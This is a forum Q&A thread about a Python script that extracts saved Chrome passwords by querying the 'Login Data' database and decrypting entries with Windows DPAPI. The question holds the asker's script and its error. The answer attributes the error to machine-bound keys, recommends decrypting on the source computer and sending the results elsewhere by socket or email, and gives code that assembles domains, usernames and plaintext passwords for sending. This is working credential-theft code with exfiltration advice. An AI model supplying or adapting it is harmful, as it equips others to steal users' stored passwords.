Python - Error CryptProtectData Key not valid for use in specified state

5.7k Views Asked by At

I have script to export chrome passwords with Python script using win32 api function CryptProtectData but decrypting password is not working below is the code and the error ERROR

Traceback (most recent call last):
  File "E:\www\scripts_py\chromepass\aa.py", line 23, in <module>
    pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #This returns a tuple description and the password
pywintypes.error: (-2146893813, 'CryptProtectData', 'Key not valid for use in specified state.')

CODE

import os
import sqlite3
import win32crypt

#path to user's login data
data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"

login_db = os.path.join(data_path, 'Login Data')

#db connect and query
c = sqlite3.connect(login_db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)

login_data = cursor.fetchall()

#URL: credentials dictionary
credential = {}

#decrytping the password
for url, user_name, pwd, in login_data:
    pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #This returns a tuple description and the password
    credential[url] = (user_name, pwd[1])

#writing to a text file (CAUTION: Don't leave this text file around!)
prompt = raw_input("[.] Are you sure you want to write all this sensitive data to a text file? \n[.]  or \n[>] ")
if prompt == 'y':
    with open('pwd.txt', 'w') as f:
        for url, credentials in credential.iteritems():
            if credentials[1]:
                f.write("\n"+url+"\n"+credentials[0].encode('utf-8')+ " | "+credentials[1]+"\n")
            else:
                f.write("\n"+url+"\n"+"USERNAME NOT FOUND | PASSWORD NOT FOUND \n")
    print "[.] Successfully written to pwd.txt!"
else:
    quit()
1

There are 1 best solutions below

2
On

Each computer has its own local encryption key, therefore, only the computer who encrypted the data can decrypt it. I assume that in your case you are trying to read login data from different computer, your windows computer doesn't have the needed key for decrypting the passwords and as a result you get the above error. I would recommend decrypting the data at the source computer and passing the results to your destination via open socket/email.

Example python code:

import sqliteDB  as DB
import emailSender as Email
import utilities as Utilites
import win32crypt
import os
# Works only for windows

dbFileName = 'Login Data'

# Set DB source file path
data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default" # Path to user's login data
db_file_path = os.path.join(data_path, dbFileName)

# Copy the file to different folder because the original file cant be read when chrome is open
new_data_path = os.path.expanduser('~') # Set new directory path
new_db_file_path = os.path.join(new_data_path, dbFileName)

Utilites.copyFile(db_file_path, new_data_path) # Copy the file to the new directory

dbObject = DB.sqlLiteDataBase(new_db_file_path) # Connect to the DB file
sqlQuery = "SELECT origin_url,username_value,password_value from logins;" # Set SQL query
login_data = dbObject.executeQuery(sqlQuery) # Get query results


# Decrypt the results
decrypted_data = ''
for users in login_data:
    decrypted_data += 'Domain: ' + users[0] + ', Username: ' + users[1] +  ', Password: ' + win32crypt.CryptUnprotectData(users[2], None, None, None, 0)[1].decode('utf-8') + '\n'